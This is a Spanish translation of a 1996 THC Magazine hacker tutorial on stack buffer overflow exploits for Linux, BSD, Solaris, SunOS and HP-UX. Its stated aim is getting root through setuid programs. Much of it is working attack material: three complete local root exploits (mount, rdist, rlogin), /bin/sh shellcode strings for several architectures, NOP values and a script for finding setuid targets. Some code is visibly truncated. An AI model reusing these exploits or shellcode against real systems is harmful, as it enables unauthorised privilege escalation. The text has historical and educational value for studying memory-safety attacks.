STACK OVERFLOW EXPLOiTS EN LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UXø THC Magazine n§3 1996 por Plasmoid \/\-traducido por IPgh0st-/\/ øintroduccionø ~~~~~~~~~~~~~~ bienvenido al mundo de los stack overflows (DesBordAmIeNtoS de PilAs), pensaba en escribir un articulo explicando la operacion completa de esta clase de overflows en pc's con unix, pero cuando lei el numero #49 de la Phrack me di cuenta de que alguien ya habia escrito un articulo de esta clase. bueno, si quieres saber más sobre la base tecnica (programacion en ensamblador/debugging) de los stack overflows en sistemas linux y quieres leer un excelente articulo consigue el n§ 49 de la Phrack Magazine, articulo 14 por aleph one, el articulo mas completo que jamas habia visto, un gran trabajo! (phrack49.zip) pero si no estas interesado en entender cientos de lineas en ensamblador i80836 y deseas tener una guia mas praáctica, continua leyendo este articulo para aprender facilmente como usar los exploits de overflow en varios sistemas unix. øcontenidosø ~~~~~~~~~~~~ [øaø] øla pila - peque¤a introduccionø [øbø] øestructura de la pilaø [øcø] øjugando con la direccion de retornoø [ødø] øejecutando una shell en ensambladorø [øeø] øaveriguando la direccion real de la pilaø [øfø] øvariables de entorno/command lineø [øgø] øpalabras finalesø exploit[ø1ø] ømount.c - version linux: < 2.0.8ø exploit[ø2ø] ørdist.c - todas las versiones bsd: 2.0ø exploit[ø3ø] ørlogin.c - version solaris: 2.5 & 2.5.1ø apendice[øAø] øcodigo asm y c para ejecutarø apendice[øBø] øcomandos nop para diferentes sistemasø apendice[øCø] øget_sp() para diferentes sistemasø apendice[øDø] øfindsuid.sh - shellscriptø [øaø] øla pila - peque¤a introduccionø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ la funcion principal de cualquier CPU es procesar y mover datos. Mientras se procesan o se mueven esos datos la CPU necesita un lugar en el que poder guardar rapidamente informacion importante debido al espacio limitado de los registros. Esta informacion se guarda en la pila. La pila es una parte especial de la memoria a la que se puede acceder con comandos especiales muy rapidos. La pila es variable en cuanto a tama¤o y posicion. p.ej. si un registro N esta siendo usado y un sub-procedimiento que tambien necesite dicho registro N es ejecutado la CPU guardara el valor del registro N en la pila y lo restaurara cuando el procedimiento haya finalizado. Para mejorar la velocidad de todo este proceso, la CPU emplea los comandos especiales de la pila que son mas rapidos que los movimientos normales en la memoria. p.ej. si un procedimiento es ejecutado la CPU necesita saber a donde debe regresar cuando el procedimiento haya acabado, y por ello esta "direccion de retorno" se guarda en la pila antes de llevar a cabo el procedimiento y despues de haberlo finalizado, la CPU salta a esa direccion de retorno almacenada en la pila. Existe una segunda funcion de la pila. Si un programa crea o recibe datos, el nuevo campo de datos se almacenara en la memoria, todos los programas emplean campos de datos dinamicos para almacenar dicha informacion. La CPU crea dichos campos en la pila si se necesitan y los elimina si ya no se van a necesitar mas. p.ej. si un procedimiento tiene que intercambiar el valor de dos variables (a <-> b), necesita una tercera variable c para almacenar un valor: c <- a a <- b b <- c la variable c se instalaria en la pila y se eliminarIa una vez que el proceso hubiese terminado. seguro que ahora recuerdas mis palabras en la introduccion prometiendo algo como "crear exploits facilmente sin tener que aprender toda la mierda de detras". Bueno lo siento pero necesitas conocer algunas cosas antes e intentare explicarlas de la forma mas simple posible. (podria haber explicado todo esto en ensamblador ;] [øbø] øestructura de la pilaø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ La pila está estructurada de un modo que confunde a veces a la gente (como a mi), el primer valor almacenado sera leido el ultimo y el ultimo valor que fue almacenado se leera el primero, esto simplemente se llama "last in, first out" (El uLtiMo QuE EnTrA, eL PrimErO qUe sAlE) o LIFO. Ahora analicemos mas detenidaamente la pila, imaginemos que acabamos de ejecutar un proceso en un programa (para que no te aburras: luego haremos esto para conseguir privilegios de rOOt). Cuál seria el aspecto de la pila si dicho procedimiento requiere el uso de algunas variables locales (dinamicas) propias? . . : ... . . |-----------------------: -2048 bytes | array local 1[1024] | ... |-----------------------| -1024 bytes | array local2[1024] | tama¤o 1024 bytes |-----------------------| posicion actual de la pila| puntero base | tama¤o 4 bytes |-----------------------| +4 bytes | direccion de retorno | tama¤o 4 bytes |-----------------------| +4 bytes : parámetros ... | ... . : . . como puedes ver las diferentes variables mencionadas y la informacion son almacenadas en la pila. Todas las CPU's utilizan un puntero de pila cuya mision es se¤alar la posicion actual, se llama SP (de Stack Pointer). Las partes interesantes de la pila son el array local2 y la direccion de retorno, no nos preocuparemos del resto porque lo que queremos es conseguir privilegios de root y ya esta. [øcø] øjugando con la dirección de retornoø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Como podras recordar, antes de ejecutar un procedimiento la CPU guarda la direccion de retorno en la pila, si el procedimiento termina entonces la pila saltara a la direccion de retorno y continuara. Pero si el procedimiento escribe tantos bytes en una variable local que supera su tama¤o maximo, se sobreescribira la direccion de retorno y esto se llama overflow (dEsBordAmiEntO). p.ej. si se escribe el caracter X 1032 veces (1028+4) en el array local2 de la figura de arriba, el procedimiento sobreescribira su propia direccion de retorno. Y la pila tendra este aspecto: . : ... . . |-----------------------: -2048 bytes | array local 1[1024] | ... |-----------------------| -1024 bytes | 1024 veces "X" | tama¤o 1024 bytes |-----------------------| posicion actual de la pila| 4 veces "X" | tama¤o 4 bytes |-----------------------| +4 bytes | 4 veces "X" | tama¤o 4 bytes |-----------------------| +4 bytes : parametros ... | ... . : . . En vez de escribir el caracter "X" en la direccion de retorno podriamos escribir una nueva direccion en la pila, asi forzariamos al programa a saltar al lugar que nosotros queramos! Seria muy inteligente si saltaramos a una direccion donde hemos colocado algo de codigo en ensamblador que haga algo interesante (adivinas que?), podriamos crear este codigo ensamblador en la variable local; en el ejemplo array local2: . : ... . |-----------------------: -2048 bytes | array local 1[1024] | |-----------------------| -1024 bytes | nuestro codigo | < - |-----------------------| | posicion actual de la pila| 4 bytes de basura | | |-----------------------| | +4 bytes | direccion del codigo | ___| |-----------------------| +4 bytes : parametros ... | . : . Si el propietario del programa es r00t y tiene el flag de suid de tal modo que un usuario normal puede ejecutarlo y le dara al usuario privilegios de r00t mientras sea ejecutado, nuestro codigo podria sernos de ayuda en nuestros propositos! Pero como? [ødø] øejecutando una shell en ensambladorø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Si nuestro codigo ejecutase una shell normal y hubiesemos creado el desbordamiento en un programa con el flag suid y cuyo propietario fuese el root entonces tendriamos una magnifica shell de root a nuestra disposicion y finalmente el sistema seria hackeado. Lo que necesitamos justo ahora es un trozo de codigo ensamblador que ejecute una shell, bueno no es estrictamente necesario que ejecute una shell puedes ejecutar cualquier otro programa. Puedes encontrar el codigo correspondiente para varios sistemas en el apendice [A] en ensamblador puro y compilado en c con el nombre "execshell". Si aun asi quieres saber como desensamblar dicho codigo lee el articulo 14 de Phrack Magazine #49 o ponte en contacto conmigo via email. Se ha a¤adido "/bin/sh" al codigo en la mayoria de los casos, si quieres ejecutar un programa diferente simplemente modifica el campo correspondiente a tu gusto. Para garantizar que nuestro codigo funcione lo copiamos en el campo de datos junto con muchos nops que luego seran copiados a la variable local (nop= no operation). Este campo de datos necesita ser mayor que la variable local para poder sobreescribir la direccion de retorno. En el siguiente ejemplo lv_size es el tama¤o de la variable local que queremos desbordar y buffer es el nombre del campo de datos (que tambien es local). ej. #define lv_size=1024 char buffer[lv_size+8] A¤adimos exactamente 8 bytes, mira mas detenidamente la pila de arriba y sabras por que. Si queremos sobreescribir la direccion de retorno tenemos que sobreescribir 4 bytes el puntero base y 4 bytes la direccion de retorno. El campo de datos buffer deberia aparecer asi: ... Analiza este codigo en c para aprender como podemos hacer esto, lv_size es una abreviatura de "local variable size", execshell es el char field con nuestro codigo ensamblador y el path de la shell que queremos ejecutar. ptr es un puntero que señala hacia el campo que copiaremos sobre la variable local. e.g. la version facil: for(i=0;i |-----------------------: ------ -2048 bytes | array local 1[1024] | | offset |-----------------------| | mas grande -1024 bytes | <...> | | que | | | 1024 | | ______| | | < - OSP + offset | | | | | | |-----------------------| | posicion actual de la pila| 4 bytes de basura | | |-----------------------| | +4 bytes | direccion: OSP+offset | ___| |-----------------------| +4 bytes : parametros ... | . : . En el ejemplo tenemos una variable local delante de la variable manipulada, por lo tanto tenemos que generar un offset que sea mas grande que el tama¤o de esta variable. Para poder averiguar el valor del SP, usamos una funcion llamada get_sp(), por supuesto existen diferentes metodos para obtener este valor en los distintos sistemas unix, he incluido varias versiones en el apendice [C]. ptr2 es un puntero dword a ptr que se¤ala hacia la direccion de retorno en el buffer. ej. el codigo correcto: ptr2=(long *)ptr; *ptr2=get_sp()+offset; ej. el codigo robusto: ptr2=(long *)ptr; for(i=1;i<8;i++) *(ptr2++)=get_sp()+offset; Empleare el codigo robusto en mis exploits porque escribe la direccion de retorno 8 veces en la pila, asi si la direccion de la pila que habiamos estimado esta equivocada, tenemos todavia otros 7 sitios a los que podria saltar. [øfø] øvariables de entorno y de la linea de comandosø ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Seguro que ya estas cansado de toda esta base tecnica y todo el rollo, tienes razon, es hora de buscar un objetivo y atacarlo. El programa que se deberia atacar debe tener como propietario al root y tiene que tener configurado el suid. Si quieres encontrar este tipo de programas simplemente utiliza la shell findsuid del apendice [D]. Si has leido las secciones previas detenidamente ya deberias saber como desbordar la pila usando una variable local, pero como puedo detectar si un programa es vulnerable a este bug de desbordamiento? Existen dos maneras de pasar variables a un programa, las variables de entorno y las de la linea de comandos ej. variable de la linea de comandos: cat /test.file ^ variable (type: char[256]) Despues de cargar el codigo maquina del programa y ejecutar los primeros procedimientos el programa copiara la variable a un buffer, si no existe comprobacion de tama¤o puedes usar dicha variable para desbordar la pila; para averiguar el tama¤o de la variable de la linea de comandos prueba poniendo muchos caracteres en la linea de comandos. (por ej. 1024+4, 256+4, 512+4,...) si el programa te muestra el mensaje "segmentation fault" ("error de segmentación"), puedes usar el programa para obtener root. Por supuesto existen programas con lineas de comando enormes, como por ejemplo 8000 bytes. Si tienes una lista de archivos suid/root en tu sistema, comprueba si son vulnerables en la linea de comandos. La segunda posibilidad es pasar la variable empleando una variable de entorno. ej. variable de entorno: set TERM=1234 el programa copiara la variable TERM a un buffer, pero el tama¤o de este buffer puede variar, por tanto para desbordarlo tendras que probar con diferentes tama¤os como 256, 512, 1024, 2048, etc. Encontrar programas que utilicen variables de entorno no es facil, por supuesto sabras que algunos programas necesitan leer informacion del sistema desde variables de entorno; la mejor manera de averiguarlo es mirar directamente en los archivos de codigo fuente en c. En cualquier caso continua buscando nuevos programas vulnerables, porque siempre es mejor usar exploits que no sean muy conocidos entre la gran muchedumbre de lamers abusadores de exploits. [øgø] øpalabras finalesø ~~~~~~~~~~~~~~~~~~~~~~~~ despues de leer toda esta mierda deberias ser capaz de generar overflow exploits tu solito, como demostracion he incluido tres exploits de ejemplo (que funcionan). He modificado el codigo original y les he puesto los mismos nombres de variables que en los ejemplos anteriores para que puedas entenderlo facilmente. exploits: exploit[1] mount.c - version linux: < 2.0.8 exploit[2] rdist.c - todas las versiones de bsd: 2.0 exploit[3] rlogin.c - version solaris: 2.5 & 2.5.1 si tienes una sensacion extra¤a en el estomago y si quieres quejarte sobre este articulo, flamearme, si quieres obtener mas informacion, si quieres intercambiar cosas o simplemente enviar un mail inservible, mandame un email... PLASMOID@USA.NET y pronto en el servidor de THC PLASMOID@INSECURITY.ORG Si no tienes conexion a internet ponte en contacto conmigo en LORE BBS por van hauser/thc. Tambien puedes encontrarme via IRC, normalmente estoy en el canal #bluebox si mi cuenta no esta k-lined ;) - plasmoid/thc/deep The Hacker's Choice Drinking Evil Elite Phreakers plasmoid deep/thc -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQCNAzJZDKwAAAEEANBXUFXqCzZLKuPj7OwB5O7thWOHlzzsi6SEZfsbiysPU4TL AMsBuCV4257Rr0//aEMt4CWjAkO3YWcBzBMvGQIDhT06v9SB4LZep6wJlSIsFK3v L1x+iYzSlvoXOHYSBcjoXA3sDm+kzz49to77Z20bJru7upjHD8iQeMWdAg+hAAUR tBtwbGFzbW9pZCA8cGxhc21vaWRAdXNhLm5ldD6JAJUDBRAyWQysyJB4xZ0CD6EB AQ6GBACB1n9DkgHfnC7D245MZPpacEHI8Jwj0DV6inV19E9qWf4VDdXA8+9YLuUV hsV1/WRX3sJWGWmAQASPitl2tc+7vWw6VC4gjif1XsRttIuNwmvU+DPY7ZULueFe bKoLI2zXsnWm/+8PMjc6GSYsNrXSpUjqkH6nIt6+sytm2QyWBw== =Vbcq -----END PGP PUBLIC KEY BLOCK----- øexploitø[ø1ø] ~~~~~~~~~~ /* ------------------------------------------------------------------------- mount.c - mount exploit for linux - version: < 2.0.10 discovered by bloodmask&vio/couin coded by plasmoid/thc/deep for thc-magazine issue #3 12/12/96 - works also on umount ------------------------------------------------------------------------- */ #include #define lv_size 1024 #define offset 30+lv_size+8*4 // ------------------------------------------------------------------------- long get_sp() { __asm__("movl %esp, %eax"); } // ------------------------------------------------------------------------- main(int argc, char **argv) { char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char buffer[lv_size+4*8]; unsigned long *ptr2 = NULL; char *ptr = NULL; int i; for(i=0;i #define lv_size 256 #define offset 30+lv_size+8*4 // ------------------------------------------------------------------------- long get_sp() { __asm__("movl %esp, %eax"); } // ------------------------------------------------------------------------- main(int argc, char **argv) { char execshell[]= "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; char buffer[lv_size+4*8]; unsigned long *ptr2 = NULL; char *ptr = NULL; int i; for(i=0;i #include #include #include #define BUF_LENGTH 8200 #define EXTRA 100 #define STACK_OFFSET 4000 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"); } øapendiceø[øAø] ~~~~~~~~~~~~~~~ ---------------------------------------------------------------------------- linux/i80386+ ---------------------------------------------------------------------------- codigo ensamblador: ~~~~~~~~~~~~~~ jmp end_of_code execve: popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 end_of_code: call exec_prog .string "/bin/sh\" cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; ---------------------------------------------------------------------------- bsd/os/i80386+ and freebsd/i80386+ ---------------------------------------------------------------------------- ensamblador: ~~~~~~~~~~~~~~~ jmp end_of_code execve: popl %esi leal (%esi), %ebx movl %ebx, 0x0b(%esi) xorl %edx, %edx movl %edx, 7(%esi) movl %edx, 0x0f(%esi) movl %edx, 0x14(%esi) movb %edx, 0x19(%esi) xorl %eax, %eax movb $59, %al leal 0x0b(%esi), %ecx movl %ecx, %edx pushl %edx pushl %ecx pushl %ebx pushl %eax jmp bewm end_of_code: call execve .string '/bin/sh' .byte 1, 1, 1, 1 .byte 2, 2, 2, 2 .byte 3, 3, 3, 3 bewm: .byte 0x9a, 4, 4, 4, 4, 7, 4 cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[]= "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; ---------------------------------------------------------------------------- solaris/sparc ---------------------------------------------------------------------------- ensamblador: ~~~~~~~~~~~~~~~ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[59]= 0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90, 0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03, 0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf, 0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x08,0x90,0x1b,0xc0,0x0f, 0x82,0x10,0x20,0x01,0x91,0xd0,0x20,0x08"; version opcional: char execshell[54]= 0x9fc0202c,0xc0247ff5,0xe227bff0,0xc027bff4,0x9207bff0,0x901d200a, 0x901a200a,0x8210203b,0x91d02008,0x82102001,0x91d02008,0xa3c3e004, "/bin/sh"; ---------------------------------------------------------------------------- sunos/sparc ---------------------------------------------------------------------------- ensamblador: ~~~~~~~~~~~~~~~ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[63]= 0x2d,0x0b,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0x0b,0xdc,0xda,0x90, 0x0b,0x80,0x0e,0x92,0x03,0xa0,0x08,0x94,0x1a,0x80,0x0a,0x9c,0x03, 0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf, 0xfc,0x82,0x10,0x20,0x3b,0xaa,0x10,0x3f,0xff,0x91,0xd5,0x60,0x01, 0x90,0x1b,0xc0,0x0f,0x82,0x10,0x20,0x01,0x91,0xd5,0x60,0x01"; ---------------------------------------------------------------------------- hp-ux9/hp9000 ---------------------------------------------------------------------------- cadena para c: ~~~~~~~~~~~~~~~~~~ char execshell[]= "\x34\x59\x01\x02\x34\x5a\x01\x32\x37\x5a\x3e\xf9\x6b\x3a\x3f\x01" "\x63\x40\x3f\xff\x34\x5a\x01\x38\x63\x40\x3f\x35\x37\x5a\x3e\xf9" "\x6b\x3a\x3f\x09\x63\x40\x3f\xff\x0b\x5a\x02\x9a\x6b\x3a\x3f\x11" "\x34\x5a\x01\x22\x37\x5a\x3e\xf9\x6f\x3a\x3e\xf9\x20\x20\x08\x01" "\x34\x16\x01\x1e\xe4\x20\xe0\x08\x36\xd6\x3e\xf9\x0b\x5a\x02\x9a" "\x20\x20\x08\x01\x34\x16\x01\x0a\xe4\x20\xe0\x08\x36\xd6\x3e\xf9" "\xe8\x5f\x1f\x35\x0b\x5a\x02\x9a\x01\x01\x01\x01\x01\x01\x01\x01" "\x01\x01\x01\x01\x01\x01\x01\x01\x00/bin/sh"; øapendiceø[øBø] ~~~~~~~~~~~ ---------------------------------------------------------------------------- no operation - nop - para diferentes sistemas ---------------------------------------------------------------------------- linux/i80386+ - char nop[1]=0x90; bsd/os/i80386+ and freebsd/i80386+ - char nop[1]=0x90; procesador solaris/sparc - char nop[4]=0xac15a16e; procesador sunos/sparc - char nop[4]=0xac15a16e; hp-ux9/hp9000 - char nop[4]=0xac15a16e; øapendiceø[øCø] ~~~~~~~~~~~ ---------------------------------------------------------------------------- linux/i80386+ y bsd/os/i80386+ y freebsd/i80386+ ---------------------------------------------------------------------------- averiguando el puntero de la pila: ~~~~~~~~~~~~~~~~~~~~~~~~~ long get_sp() { __asm__("movl %esp,%eax"); } ---------------------------------------------------------------------------- procesador solaris/sparc y procesador sunos/sparc ---------------------------------------------------------------------------- averiguando el puntero de la pila: ~~~~~~~~~~~~~~~~~~~~~~~~~ long get_sp() { asm("or %sp, %sp, %i0"); } øapendiceø[øDø] ~~~~~~~~~~ ----------------------------------------------------------------[cut here]- #!/bin/sh # findsuid.sh by plasmoid/thc/deep # important directories for linux system, try different ones # for other systems (/usr/etc, /usr/local/bin, /usr/local/etc, /usr/sbin) find /bin -user root -perm +a=s > suid.lst find /sbin -user root -perm +a=s >> suid.lst find /usr/bin -user root -perm +a=s >> suid.lst find /etc -user root -perm +a=s >> suid.lst find /var -user root -perm +a=s >> suid.lst ----------------------------------------------------------------[cut here]-